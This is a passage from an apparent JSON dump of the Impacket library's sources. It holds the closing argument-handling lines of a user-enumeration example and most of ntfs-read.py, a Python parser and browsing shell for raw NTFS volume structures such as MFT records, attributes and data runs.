len(sys.argv)==1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, _, _, options.k = parse_identity(options.identity, options.hashes, options.no_pass, options.aesKey, options.k)\n\n    try:\n        executer = USERENUM(username, password, domain, options.hashes, options.aesKey, options.k, options)\n        executer.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(e)\n        executer.stop()\n    except KeyboardInterrupt:\n        logging.info('Quitting.. please wait') \n        executer.stop()\n    sys.exit(0)\n"
  },
  {
    "path": "examples/ntfs-read.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Mini shell for browsing an NTFS volume\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   Structure. Quick and dirty implementation.. just for fun.. ;)\n#\n#   NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project..\n#\n# ToDo:\n#   [] Support compressed, encrypted files\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport os\nimport sys\nimport logging\nimport struct\nimport argparse\nimport cmd\nimport ntpath\nfrom six import PY2, text_type\nfrom datetime import datetime\nfrom impacket.examples import logger\nfrom impacket import version\nfrom impacket.structure import Structure, hexdump\n\n\n# Reserved/fixed MFTs\nFIXED_MFTS = 16\n\n# Attribute types\nUNUSED                        = 0\nSTANDARD_INFORMATION          = 0x10\nATTRIBUTE_LIST                = 0x20\nFILE_NAME                     = 0x30\nOBJECT_ID                     = 0x40\nSECURITY_DESCRIPTOR           = 0x50\nVOLUME_NAME                   = 0x60\nVOLUME_INFORMATION            = 0x70\nDATA                          = 0x80\nINDEX_ROOT                    = 0x90\nINDEX_ALLOCATION              = 0xa0\nBITMAP                        = 0xb0\nREPARSE_POINT                 = 0xc0\nEA_INFORMATION                = 0xd0\nEA                            = 0xe0\nPROPERTY_SET                  = 0xf0\nLOGGED_UTILITY_STREAM         = 0x100\nFIRST_USER_DEFINED_ATTRIBUTE  = 0x1000\nEND                           = 0xffffffff\n\n# Attribute flags\nATTR_IS_COMPRESSED     = 0x0001\nATTR_COMPRESSION_MASK  = 0x00ff\nATTR_IS_ENCRYPTED      = 0x4000\nATTR_IS_SPARSE         = 0x8000\n\n# FileName type flags\nFILE_NAME_POSIX = 0x00\nFILE_NAME_WIN32 = 0x01\nFILE_NAME_DOS   = 0x02\nFILE_NAME_WIN32_AND_DOS = 0x03\n\n# MFT Record flags\nMFT_RECORD_IN_USE        = 0x0001\nMFT_RECORD_IS_DIRECTORY  = 0x0002\nMFT_RECORD_IS_4          = 0x0004\nMFT_RECORD_IS_VIEW_INDEX = 0x0008\nMFT_REC_SPACE_FILLER     = 0xfffff\n\n# File Attribute Flags\nFILE_ATTR_READONLY            = 0x0001\nFILE_ATTR_HIDDEN              = 0x0002\nFILE_ATTR_SYSTEM              = 0x0004\nFILE_ATTR_DIRECTORY           = 0x0010\nFILE_ATTR_ARCHIVE             = 0x0020\nFILE_ATTR_DEVICE              = 0x0040\nFILE_ATTR_NORMAL              = 0x0080\nFILE_ATTR_TEMPORARY           = 0x0100\nFILE_ATTR_SPARSE_FILE         = 0x0200\nFILE_ATTR_REPARSE_POINT       = 0x0400\nFILE_ATTR_COMPRESSED          = 0x0800\nFILE_ATTR_OFFLINE             = 0x1000\nFILE_ATTR_NOT_CONTENT_INDEXED = 0x2000\nFILE_ATTR_ENCRYPTED           = 0x4000\nFILE_ATTR_VALID_FLAGS         = 0x7fb7\nFILE_ATTR_VALID_SET_FLAGS     = 0x31a7\nFILE_ATTR_I30_INDEX_PRESENT   = 0x10000000\nFILE_ATTR_VIEW_INDEX_PRESENT  = 0x20000000\n\n# NTFS System files\nFILE_MFT      = 0\nFILE_MFTMirr  = 1\nFILE_LogFile  = 2\nFILE_Volume   = 3\nFILE_AttrDef  = 4\nFILE_Root     = 5\nFILE_Bitmap   = 6\nFILE_Boot     = 7\nFILE_BadClus  = 8\nFILE_Secure   = 9\nFILE_UpCase   = 10\nFILE_Extend   = 11\n\n# Index Header Flags\nSMALL_INDEX = 0\nLARGE_INDEX = 1\nLEAF_NODE   = 0\nINDEX_NODE  = 1\nNODE_MASK   = 0\n\n# Index Entry Flags\nINDEX_ENTRY_NODE         = 1\nINDEX_ENTRY_END          = 2\nINDEX_ENTRY_SPACE_FILLER = 0xffff\n\n\nclass NTFS_BPB(Structure):\n    structure = (\n        ('BytesPerSector','<H=0'),\n        ('SectorsPerCluster','B=0'),\n        ('ReservedSectors','<H=0'),\n        ('Reserved','3s=b\"\"'),\n        ('Reserved2','2s=b\"\"'),\n        ('MediaDescription','B=0'),\n        ('Reserved3','2s=b\"\"'),\n        ('Reserved4','<H=0'),\n        ('Reserved5','<H=0'),\n        ('Reserved6','<L=0'),\n        ('Reserved7','4s=b\"\"'),\n    )\n\nclass NTFS_EXTENDED_BPB(Structure):\n    structure = (\n        ('Reserved','4s=b\"\"'),\n        ('TotalSectors','<Q=0'),\n        ('MFTClusterNumber','<Q=0'),\n        ('MFTMirrClusterNumber','<Q=0'),\n        ('ClusterPerFileRecord','b=0'),\n        ('Reserved2','3s=b\"\"'),\n        ('ClusterPerIndexBuffer','<b=0'),\n        ('Reserved3','3s=b\"\"'),\n        ('VolumeSerialNumber','8s=b\"\"'),\n        ('CheckSum','4s=b\"\"'),\n    )\n\nclass NTFS_BOOT_SECTOR(Structure):\n    structure = (\n        ('JmpInstr','3s=b\"\"'),\n        ('OEM_ID','8s=b\"\"'),\n        ('BPB','25s=b\"\"'),\n        ('ExtendedBPB','48s=b\"\"'),\n        ('Bootstrap','426s=b\"\"'),\n        ('EOS','<H=0'),\n    )\n\nclass NTFS_MFT_RECORD(Structure):\n    structure = (\n        ('MagicLabel','4s=b\"\"'),\n        ('USROffset','<H=0'), # Update Sequence Records Offset\n        ('USRSize','<H=0'), # Update Sequence Records Size\n        ('LogSeqNum','<Q=0'),\n        ('SeqNum','<H=0'),\n        ('LinkCount','<H=0'),\n        ('AttributesOffset','<H=0'),\n        ('Flags','<H=0'),\n        ('BytesInUse','<L=0'),\n        ('BytesAllocated','<L=0'),\n        ('BaseMftRecord','<Q=0'),\n        ('NextAttrInstance','<H=0'),\n        ('Reserved','<H=0'),\n        ('RecordNumber','<L=0'),\n    )\n\nclass NTFS_ATTRIBUTE_RECORD(Structure):\n    commonHdr = (\n        ('Type','<L=0'),\n        ('Length','<L=0'),\n        ('NonResident','B=0'),\n        ('NameLength','B=0'),\n        ('NameOffset','<H=0'),\n        ('Flags','<H=0'),\n        ('Instance','<H=0'),\n    )\n    structure = ()\n\nclass NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(Structure):\n    structure = (\n        ('LowestVCN','<Q=0'),\n        ('HighestVCN','<Q=0'),\n        ('DataRunsOffset','<H=0'),\n        ('CompressionUnit','<H=0'),\n        ('Reserved1','4s=\"\"'),\n        ('AllocatedSize','<Q=0'),\n        ('DataSize','<Q=0'),\n        ('InitializedSize','<Q=0'),\n#        ('CompressedSize','<Q=0'),\n    )\n\nclass NTFS_ATTRIBUTE_RECORD_RESIDENT(Structure):\n    structure = (\n        ('ValueLen','<L=0'),\n        ('ValueOffset','<H=0'),\n        ('Flags','B=0'),\n        ('Reserved','B=0'),\n    )\n\nclass NTFS_FILE_NAME_ATTR(Structure):\n    structure = (\n        ('ParentDirectory','<Q=0'),\n        ('CreationTime','<Q=0'),\n        ('LastDataChangeTime','<Q=0'),\n        ('LastMftChangeTime','<Q=0'),\n        ('LastAccessTime','<Q=0'),\n        ('AllocatedSize','<Q=0'),\n        ('DataSize','<Q=0'),\n        ('FileAttributes','<L=0'),\n        ('EaSize','<L=0'),\n        ('FileNameLen','B=0'),\n        ('FileNameType','B=0'),\n        ('_FileName','_-FileName','self[\"FileNameLen\"]*2'),\n        ('FileName',':'),\n    )\n\nclass NTFS_STANDARD_INFORMATION(Structure):\n    structure = (\n        ('CreationTime','<Q=0'),\n        ('LastDataChangeTime','<Q=0'),\n        ('LastMftChangeTime','<Q=0'),\n        ('LastAccessTime','<Q=0'),\n        ('FileAttributes','<L=0'),\n    )\n\nclass NTFS_INDEX_HEADER(Structure):\n    structure = (\n        ('EntriesOffset','<L=0'),\n        ('IndexLength','<L=0'),\n        ('AllocatedSize','<L=0'),\n        ('Flags','B=0'),\n        ('Reserved','3s=b\"\"'),\n    )\n\nclass NTFS_INDEX_ROOT(Structure):\n    structure = (\n        ('Type','<L=0'),\n        ('CollationRule','<L=0'),\n        ('IndexBlockSize','<L=0'),\n        ('ClustersPerIndexBlock','B=0'),\n        ('Reserved','3s=b\"\"'),\n        ('Index',':',NTFS_INDEX_HEADER),\n    )\n\n\nclass NTFS_INDEX_ALLOCATION(Structure):\n    structure = (\n        ('Magic','4s=b\"\"'),\n        ('USROffset','<H=0'), # Update Sequence Records Offset\n        ('USRSize','<H=0'), # Update Sequence Records Size\n        ('Lsn','<Q=0'),\n        ('IndexVcn','<Q=0'),\n        ('Index',':',NTFS_INDEX_HEADER),\n    )\n\nclass NTFS_INDEX_ENTRY_HEADER(Structure):\n    structure = (\n        ('IndexedFile','<Q=0'),\n        ('Length','<H=0'),\n        ('KeyLength','<H=0'),\n        ('Flags','<H=0'),\n        ('Reserved','<H=0'),\n    )\n\nclass NTFS_INDEX_ENTRY(Structure):\n    alignment = 8\n    structure = (\n        ('EntryHeader',':',NTFS_INDEX_ENTRY_HEADER),\n        ('_Key','_-Key','self[\"EntryHeader\"][\"KeyLength\"]'),\n        ('Key',':'),\n        ('_Vcn','_-Vcn','(self[\"EntryHeader\"][\"Flags\"] & 1)*8'),\n        ('Vcn',':')\n    )\n\nclass NTFS_DATA_RUN(Structure):\n    structure = (\n        ('LCN','<q=0'),\n        ('Clusters','<Q=0'),\n        ('StartVCN','<Q=0'),\n        ('LastVCN','<Q=0'),\n    )\n\nclass NTFS_ATTRIBUTE_LIST_ENTRY(Structure):\n    structure = (\n        ('AttributeType', '<L=0'),\n        ('EntryLength', '<H=0'),\n        ('AttributeNameLength', 'B=0'),\n        ('AttributeNameOffset', 'B=0'),\n        ('StartingVCN', '<Q=0'),\n        ('BaseFileRecord', '<Q=0'),\n        ('AttributeID', '<H=0'),\n    )\n\ndef getUnixTime(t):\n    t -= 116444736000000000\n    t //= 10000000\n    return t\n\n\nclass Attribute:\n    def __init__(self, iNode, data):\n        self.AttributeName = None\n        self.NTFSVolume = iNode.NTFSVolume\n        self.AttributeHeader = NTFS_ATTRIBUTE_RECORD(data)\n        if self.AttributeHeader['NameLength'] > 0 and self.AttributeHeader['Type'] != END:\n            self.AttributeName = data[self.AttributeHeader['NameOffset']:][:self.AttributeHeader['NameLength']*2].decode('utf-16le')\n\n    def getFlags(self):\n        return self.AttributeHeader['Flags']\n\n    def getName(self):\n        return self.AttributeName\n\n    def isNonResident(self):\n        return self.AttributeHeader['NonResident']\n\n    def dump(self):\n        return self.AttributeHeader.dump()\n\n    def getTotalSize(self):\n        return self.AttributeHeader['Length']\n\n    def getType(self):\n        return self.AttributeHeader['Type']\n\nclass AttributeResident(Attribute):\n    def __init__(self, iNode, data):\n        logging.debug(\"Inside AttributeResident: iNode: %s\" % iNode.INodeNumber)\n        Attribute.__init__(self,iNode,data)\n        self.ResidentHeader = NTFS_ATTRIBUTE_RECORD_RESIDENT(data[len(self.AttributeHeader):])\n        self.AttrValue = data[self.ResidentHeader['ValueOffset']:][:self.ResidentHeader['ValueLen']]\n\n    def dump(self):\n        return self.ResidentHeader.dump()\n\n    def getFlags(self):\n        return self.ResidentHeader['Flags']\n\n    def getValue(self):\n        return self.AttrValue\n\n    def read(self,offset,length):\n        logging.debug(\"Inside Read: offset: %d, length: %d\" %(offset,length))\n        return self.AttrValue[offset:][:length]\n\n    def getDataSize(self):\n        return len(self.AttrValue)\n\nclass AttributeNonResident(Attribute):\n    def __init__(self, iNode, data):\n        logging.debug(\"Inside AttributeNonResident: iNode: %s\" % iNode.INodeNumber)\n        Attribute.__init__(self,iNode,data)\n        self._raw_attr_data = data\n        self.NonResidentHeader = NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(data[len(self.AttributeHeader):])\n        self.AttrValue = data[self.NonResidentHeader['DataRunsOffset']:][:self.NonResidentHeader['AllocatedSize']]\n        self.DataRuns = []\n        self.ClusterSize = 0\n        # Effective sizes for OS-like reads; default to on-disk header values.\n        self.data_size = self.NonResidentHeader['DataSize']\n        self.initialized_size = self.NonResidentHeader['InitializedSize']\n        self.parseDataRuns()\n\n    def dump(self):\n        return self.NonResidentHeader.dump()\n\n    def getDataSize(self):\n        return self.data_size\n\n    def getValue(self):\n        return None\n\n    def parseDataRuns(self):\n        \"\"\"Parse data run descriptors from the attribute value.\"\"\"\n        data = self.AttrValue\n        if data is None:\n            return\n\n        vcn = 0\n        prevLcn = 0  # LCN is delta-encoded, track previous\n\n        while data and data[0:1] != b'\\x00':\n            if len(data) < 1:\n                break\n\n            header = data[0]\n            data = data[1:]\n\n            lengthBytes = header & 0x0F\n            offsetBytes = header >> 4\n\n            # Parse cluster count (length)\n            if len(data) < lengthBytes:\n                break\n            clusterCount = struct.unpack('<Q', data[:lengthBytes].ljust(8, b'\\x00'))[0]\n            data = data[lengthBytes:]\n\n            dr = NTFS_DATA_RUN()\n            dr['Clusters'] = clusterCount\n            dr['StartVCN'] = vcn\n            dr['LastVCN'] = vcn + clusterCount - 1\n\n            if offsetBytes == 0:\n                # Sparse run - no physical location\n                dr['LCN'] = -1\n                logging.debug(\"Sparse run: VCN %d-%d, clusters %d\", dr['StartVCN'], dr['LastVCN'], clusterCount)\n            else:\n                # Parse LCN offset (signed, delta from previous)\n                if len(data) < offsetBytes:\n                    break\n                offsetData = data[:offsetBytes]\n                # Sign extend\n                if offsetData[-1] & 0x80:\n                    offsetData = offsetData.ljust(8, b'\\xff')\n                else:\n                    offsetData = offsetData.ljust(8, b'\\x00')\n                lcnDelta = struct.unpack('<q', offsetData)[0]\n                data = data[offsetBytes:]\n\n                prevLcn += lcnDelta\n                dr['LCN'] = prevLcn\n\n            self.DataRuns.append(dr)\n            vcn += clusterCount\n\n    def readClusters(self, clusters, lcn):\n        logging.debug(\"Inside ReadClusters: clusters:%d, lcn:%d\" % (clusters,lcn))\n        if lcn == -1:\n            return b'\\x00'*clusters*self.ClusterSize\n        self.NTFSVolume.volumeFD.seek(lcn*self.ClusterSize,0)\n        buf = self.NTFSVolume.volumeFD.read(clusters*self.ClusterSize)\n        while len(buf) < clusters*self.ClusterSize:\n            buf+= self.NTFSVolume.volumeFD.read((clusters*self.ClusterSize)-len(buf))\n\n        if len(buf) == 0:\n            return None\n\n        return buf\n\n    def readVCN(self, vcn, numOfClusters):\n        \"\"\"Read clusters starting at VCN, spanning multiple data runs if needed.\"\"\"\n        logging.debug(\"Inside ReadVCN: vcn: %d, numOfClusters: %d\" % (vcn, numOfClusters))\n        buf = b''\n        clustersLeft = numOfClusters\n\n        for dr in self.DataRuns:\n            if clustersLeft <= 0:\n                break\n            # Skip data runs before our target VCN\n            if vcn > dr['LastVCN']:\n                continue\n            # Stop if we've passed all relevant data runs\n            if vcn < dr['StartVCN']:\n                break\n\n            # Calculate how many clusters to read from this data run\n            clustersInRun = dr['LastVCN'] - vcn + 1\n            clustersToRead = min(clustersLeft, clustersInRun)\n\n            # For sparse runs, LCN is -1; readClusters handles this\n            if dr['LCN'] == -1:\n                lcn = -1\n            else:\n                lcn = dr['LCN'] + (vcn - dr['StartVCN'])\n\n            tmpBuf = self.readClusters(clustersToRead, lcn)\n            if tmpBuf is None:\n                break\n            buf += tmpBuf\n            clustersLeft -= clustersToRead\n            vcn += clustersToRead\n\n        return buf\n\n    def read(self, offset, length):\n        \"\"\"Read bytes from non-resident attribute, respecting data_size and initialized_size.\"\"\"\n        logging.debug(\"Inside Read: offset: %d, length: %d\" % (offset, length))\n\n        # Clamp read to data_size (EOF)\n        if offset >= self.data_size:\n            return b''\n        length = min(length, self.data_size - offset)\n\n        self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector'] * self.NTFSVolume.BPB['SectorsPerCluster']\n\n        buf = b''\n        curOffset = offset\n        bytesLeft = length\n\n        while bytesLeft > 0:\n            vcn = curOffset // self.ClusterSize\n            vcnOffset = curOffset % self.ClusterSize\n\n            # Calculate clusters needed for remaining bytes\n            bytesInFirstCluster = self.ClusterSize - vcnOffset\n            if bytesLeft <= bytesInFirstCluster:\n                clustersToRead = 1\n            else:\n                clustersToRead = 1 + ((bytesLeft - bytesInFirstCluster + self.ClusterSize - 1) // self.ClusterSize)\n\n            clusterData = self.readVCN(vcn, clustersToRead)\n            if not clusterData:\n                break\n\n            # Extract the portion we need\n            chunk = clusterData[vcnOffset:vcnOffset + bytesLeft]\n            buf += chunk\n            curOffset += len(chunk)\n            bytesLeft -= len(chunk)\n\n            if len(chunk) == 0:\n                break\n\n        if not buf:\n            return None\n\n        # Zero-fill beyond InitializedSize (OS behavior for uninitialized data)\n        if self.initialized_size < offset + len(buf):\n            validBytes = max(0, self.initialized_size - offset)\n            buf = buf[:validBytes] + (b'\\x00' * (len(buf) - validBytes))\n\n        return buf\n\nclass NonResidentDataAttribute(AttributeNonResident):\n    @classmethod\n    def _shift_runs(cls, attr, start_vcn):\n        if start_vcn <= 0:\n            return\n        for dr in attr.DataRuns:\n            dr['StartVCN'] += start_vcn\n            dr['LastVCN'] += start_vcn\n\n    @classmethod\n    def _base_sizes(cls, attr):\n        return attr.NonResidentHeader['DataSize'], attr.NonResidentHeader['InitializedSize']\n\n    @classmethod\n    def _ensure_base(cls, collected, base_attr, base_data_size, base_initialized_size):\n        if base_attr is not None:\n            return base_attr, base_data_size, base_initialized_size\n        _, base_attr = collected[0]\n        base_data_size, base_initialized_size = cls._base_sizes(base_attr)\n        return base_attr, base_data_size, base_initialized_size\n\n    @classmethod\n    def _collect_extents(cls, iNode, matches, attribute_name):\n        \"\"\"Collect $DATA attributes from extent records, identifying the base extent.\"\"\"\n        collected = []\n        base_attr = None\n        base_data_size = None\n        base_initialized_size = None\n\n        for entry in matches:\n            extension_inode = iNode.NTFSVolume.getINode(entry.MftRecordNumber)\n            attr = extension_inode.searchAttribute(DATA, attribute_name)\n            if attr is None:\n                continue\n            collected.append((entry, attr))\n            # Base extent has StartingVCN == 0 and contains authoritative sizes\n            if entry.StartingVCN == 0:\n                base_attr = attr\n                if isinstance(attr, AttributeNonResident):\n                    base_data_size, base_initialized_size = cls._base_sizes(attr)\n\n        return collected, base_attr, base_data_size, base_initialized_size\n\n    def __init__(self, iNode, entries, attribute_name=None):\n        \"\"\"\n        Build a unified $DATA stream from multiple attribute list entries.\n\n        Args:\n            iNode: Owning inode for volume access\n            entries: AttributeListEntry items for the target $DATA stream\n            attribute_name: Stream name (None for default $DATA)\n        \"\"\"\n        matches = list(entries)\n        if not matches:\n            raise ValueError('No $DATA extents found')\n\n        # Sort extents by StartingVCN to define logical order\n        matches.sort(key=lambda e: e.StartingVCN)\n\n        # Collect attributes and find base extent (StartingVCN == 0)\n        collected, base_attr, base_data_size, base_initialized_size = self._collect_extents(\n            iNode, matches, attribute_name,\n        )\n\n        if not collected:\n            raise ValueError('No usable $DATA extents found')\n\n        # Ensure we have valid base sizes\n        base_attr, base_data_size, base_initialized_size = self._ensure_base(\n            collected, base_attr, base_data_size, base_initialized_size,\n        )\n\n        # Initialize from base extent\n        super(NonResidentDataAttribute, self).__init__(iNode, base_attr._raw_attr_data)\n\n        if len(collected) == 1:\n            # Single extent - apply VCN offset if needed\n            entry, _ = collected[0]\n            self._shift_runs(self, entry.StartingVCN)\n        else:\n            # Multi-extent - merge all runs with proper VCN offsets\n            self._merge_extents_from_collected(collected, base_data_size, base_initialized_size)\n\n    def _merge_extents_from_collected(self, collected, data_size, init_size):\n        \"\"\"Merge data runs from multiple extents into unified stream.\"\"\"\n        merged_runs = []\n        for entry, attr in collected:\n            if not isinstance(attr, AttributeNonResident):\n                continue\n            for dr in attr.DataRuns:\n                new_dr = NTFS_DATA_RUN()\n                new_dr['LCN'] = dr['LCN']\n                new_dr['Clusters'] = dr['Clusters']\n                # Apply VCN offset from attribute list entry\n                new_dr['StartVCN'] = dr['StartVCN'] + entry.StartingVCN\n                new_dr['LastVCN'] = dr['LastVCN'] + entry.StartingVCN\n                merged_runs.append(new_dr)\n\n        merged_runs.sort(key=lambda dr: dr['StartVCN'])\n        self.DataRuns = merged_runs\n        self.data_size = data_size\n        self.initialized_size = init_size\n\n\nclass AttributeStandardInfo:\n    def __init__(self, attribute):\n        logging.debug(\"Inside AttributeStandardInfo\")\n        self.Attribute = attribute\n        self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue)\n\n    def getFileAttributes(self):\n        return self.StandardInfo['FileAttributes']\n\n    def getFileTime(self):\n        if self.StandardInfo['LastDataChangeTime'] > 0:\n            return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime']))\n        else:\n            return 0\n\n    def dump(self):\n        return self.StandardInfo.dump()\n\nclass AttributeFileName:\n    def __init__(self, attribute):\n        logging.debug(\"Inside AttributeFileName\")\n        self.Attribute = attribute\n        self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue)\n\n    def getFileNameType(self):\n        return self.FileNameRecord['FileNameType']\n\n    def getFileAttributes(self):\n        return self.FileNameRecord['FileAttributes']\n\n    def getFileName(self):\n        return self.FileNameRecord['FileName'].decode('utf-16le')\n\n    def getFileSize(self):\n        return self.FileNameRecord['DataSize']\n\n    def getFlags(self):\n        return self.FileNameRecord['FileAttributes']\n\n    def dump(self):\n        return self.FileNameRecord.dump()\n\nclass AttributeIndexAllocation:\n    def __init__(self, attribute):\n        logging.debug(\"Inside AttributeIndexAllocation\")\n        self.Attribute = attribute\n\n    def dump(self):\n        print(self.Attribute.dump())\n        for i in self.Attribute.DataRuns:\n            print(i.dump())\n\n    def read(self, offset, length):\n        return self.Attribute.read(offset, length)\n\n\nclass AttributeIndexRoot:\n    def __init__(self, attribute):\n        logging.debug(\"Inside AttributeIndexRoot\")\n        self.Attribute = attribute\n        self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue)\n        self.IndexEntries = []\n        self.parseIndexEntries()\n\n    def parseIndexEntries(self):\n        data = self.Attribute.AttrValue[len(self.IndexRootRecord):]\n        while True:\n            ie = IndexEntry(data)\n            self.IndexEntries.append(ie)\n            if ie.isLastNode():\n                break\n            data = data[ie.getSize():]\n\n    def dump(self):\n        self.IndexRootRecord.dump()\n        for i in self.IndexEntries:\n            i.dump()\n\n    def getType(self):\n        return self.IndexRootRecord['Type']\n\nclass IndexEntry:\n    def __init__(self, entry):\n        self.entry = NTFS_INDEX_ENTRY(entry)\n\n    def isSubNode(self):\n        return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE\n\n    def isLastNode(self):\n        return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END\n\n    def getVCN(self):\n        return struct.unpack('<Q', self.entry['Vcn'])[0]\n\n    def getSize(self):\n        return len(self.entry)\n\n    def getKey(self):\n        return self.entry['Key']\n\n    def getINodeNumber(self):\n        return self.entry['EntryHeader']['IndexedFile'] & 0x0000FFFFFFFFFFFF\n\n    def dump(self):\n        self.entry.dump()\n\nclass AttributeListEntry:\n    def __init__(self, entry_data):\n        self.EntryHeader = NTFS_ATTRIBUTE_LIST_ENTRY(entry_data)\n        self.AttributeType = self.EntryHeader['AttributeType']\n        self.EntryLength = self.EntryHeader['EntryLength']\n        self.StartingVCN = self.EntryHeader['StartingVCN']\n        self.AttributeID = self.EntryHeader['AttributeID']\n        raw_record = self.EntryHeader['BaseFileRecord']\n        self.MftRecordNumber = raw_record & 0x0000FFFFFFFFFFFF\n        self.MftSequenceNumber = (raw_record >> 48) & 0xFFFF\n        self.AttributeName = None\n        name_len = self.EntryHeader['AttributeNameLength']\n        if name_len > 0:\n            name_offset = self.EntryHeader['AttributeNameOffset']\n            name_bytes = entry_data[name_offset : name_offset + (name_len * 2)]\n            self.AttributeName = name_bytes.decode('utf-16le')\n\nclass AttributeList:\n    \"\"\"Parses ATTRIBUTE_LIST attribute (can be resident or non-resident).\"\"\"\n\n    def __init__(self, attribute):\n        self.attribute = attribute\n        self.Entries = []\n        self._parseEntries()\n\n    def _parseEntries(self):\n        \"\"\"Parse attribute list entries from raw data.\"\"\"\n        # getValue() works for resident, read() for non-resident\n        if hasattr(self.attribute, 'getValue') and self.attribute.getValue() is not None:\n            data = self.attribute.getValue()\n        else:\n            data = self.attribute.read(0, self.attribute.getDataSize())\n\n        if not data:\n            return\n\n        offset = 0\n        while offset < len(data):\n            entry_data = data[offset:]\n            if len(entry_data) < 26:  # Minimum entry size\n                break\n            list_entry = AttributeListEntry(entry_data)\n            if list_entry.EntryLength == 0:\n                break\n            self.Entries.append(list_entry)\n            offset += list_entry.EntryLength\n\n    def getEntries(self):\n        return self.Entries\n\nclass INODE:\n    def __init__(self, NTFSVolume):\n        self.NTFSVolume = NTFSVolume\n        # This is the entire file record\n        self.INodeNumber = None\n        self.Attributes = {}\n        self.AttributesRaw = None\n        self.AttributesLastPos = None\n        # Some interesting Attributes to parse\n        self.FileAttributes = 0\n        self.LastDataChangeTime = None\n        self.FileName = None\n        self.FileSize = 0\n        # Debug counters for directory listings\n        self._walk_root_count = 0\n        self._walk_subnode_count = 0\n\n    def isDirectory(self):\n        return self.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT\n\n    def isCompressed(self):\n        return self.FileAttributes & FILE_ATTR_COMPRESSED\n\n    def isEncrypted(self):\n        return self.FileAttributes & FILE_ATTR_ENCRYPTED\n\n    def isSparse(self):\n        return self.FileAttributes & FILE_ATTR_SPARSE_FILE\n\n    def displayName(self):\n        if self.LastDataChangeTime is not None and self.FileName is not None:\n            try:\n#                print \"%d - %s %s %s \" %( self.INodeNumber, self.getPrintableAttributes(), self.LastDataChangeTime.isoformat(' '), self.FileName)\n                print(\"%s %s %15d %s \" %( self.getPrintableAttributes(), self.LastDataChangeTime.isoformat(' '), self.FileSize, self.FileName))\n            except Exception as e:\n                logging.error('Exception when trying to display inode %d: %s' % (self.INodeNumber,str(e)))\n\n    def getPrintableAttributes(self):\n        mask = ''\n        if self.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT:\n            mask += 'd'\n        else:\n            mask += '-'\n        if self.FileAttributes & FILE_ATTR_HIDDEN:\n            mask += 'h'\n        else:\n            mask += '-'\n        if self.FileAttributes & FILE_ATTR_SYSTEM:\n            mask += 'S'\n        else:\n            mask += '-'\n        if self.isCompressed():\n            mask += 'C'\n        else:\n            mask += '-'\n        if self.isEncrypted():\n            mask += 'E'\n        else:\n            mask += '-'\n        if self.isSparse():\n            mask += 's'\n        else:\n            mask += '-'\n        return mask\n\n    def parseAttributes(self):\n        # Parse Standard Info\n        attr = self.searchAttribute(STANDARD_INFORMATION, None)\n        if attr is not None:\n            si = AttributeStandardInfo(attr)\n            self.Attributes[STANDARD_INFORMATION] = si\n            self.FileAttributes |= si.getFileAttributes()\n            self.LastDataChangeTime = si.getFileTime()\n            self.Attributes[STANDARD_INFORMATION] = si\n\n        # Parse Filename\n        attr = self.searchAttribute(FILE_NAME, None)\n        while attr is not None:\n            fn = AttributeFileName(attr)\n            if fn.getFileNameType() != FILE_NAME_DOS:\n                self.FileName = fn.getFileName()\n                self.FileSize = fn.getFileSize()\n                self.FileAttributes |= fn.getFileAttributes()\n                self.Attributes[FILE_NAME] = fn\n                break\n            attr = self.searchAttribute(FILE_NAME, None, True)\n\n        # Parse Attribute list before Index Allocation, because it might be there\n        attr = self.searchAttribute(ATTRIBUTE_LIST, None)\n        if attr is not None:\n            al = AttributeList(attr)\n            self.Attributes[ATTRIBUTE_LIST] = al\n\n        # Parse Index Allocation\n        attr = self.searchAttribute(INDEX_ALLOCATION, u'$I30')\n        if attr is not None:\n            ia = AttributeIndexAllocation(attr)\n            self.Attributes[INDEX_ALLOCATION] = ia\n\n        attr = self.searchAttribute(INDEX_ROOT, u'$I30')\n        if attr is not None:\n            ir = AttributeIndexRoot(attr)\n            self.Attributes[INDEX_ROOT] = ir\n\n    def searchAttribute(self, attributeType, attributeName, findNext = False):\n        logging.debug(\"Inside searchAttribute: type: 0x%x, name: %s\" % (attributeType, attributeName))\n        record = None\n\n        if findNext is True:\n            data = self.AttributesLastPos\n        else:\n            data = self.AttributesRaw\n\n        while True:\n\n            if len(data) <= 8:\n                record = None\n                break\n\n            record = Attribute(self,data)\n\n            if record.getType() == END:\n                record = None\n                break\n\n            if record.getTotalSize() == 0:\n                record = None\n                break\n\n            if record.getType() == attributeType and record.getName() == attributeName:\n                if record.isNonResident() == 1:\n                    record = AttributeNonResident(self, data)\n                else:\n                    record = AttributeResident(self, data)\n\n                self.AttributesLastPos = data[record.getTotalSize():]\n\n                break\n\n            data = data[record.getTotalSize():]\n\n        # Look for attribute on Attribute List\n        if record is None and ATTRIBUTE_LIST in self.Attributes:\n            attr_list = self.Attributes[ATTRIBUTE_LIST]\n\n            if attributeType == DATA:\n                entries = [\n                    entry for entry in attr_list.getEntries()\n                    if entry.AttributeType == DATA and entry.AttributeName == attributeName\n                ]\n                try:\n                    return NonResidentDataAttribute(self, entries, attributeName)\n                except ValueError:\n                    return None\n\n            for entry in attr_list.getEntries():\n                if entry.AttributeType == attributeType and entry.AttributeName == attributeName:\n                    extension_inode = self.NTFSVolume.getINode(entry.MftRecordNumber)\n                    return extension_inode.searchAttribute(attributeType, 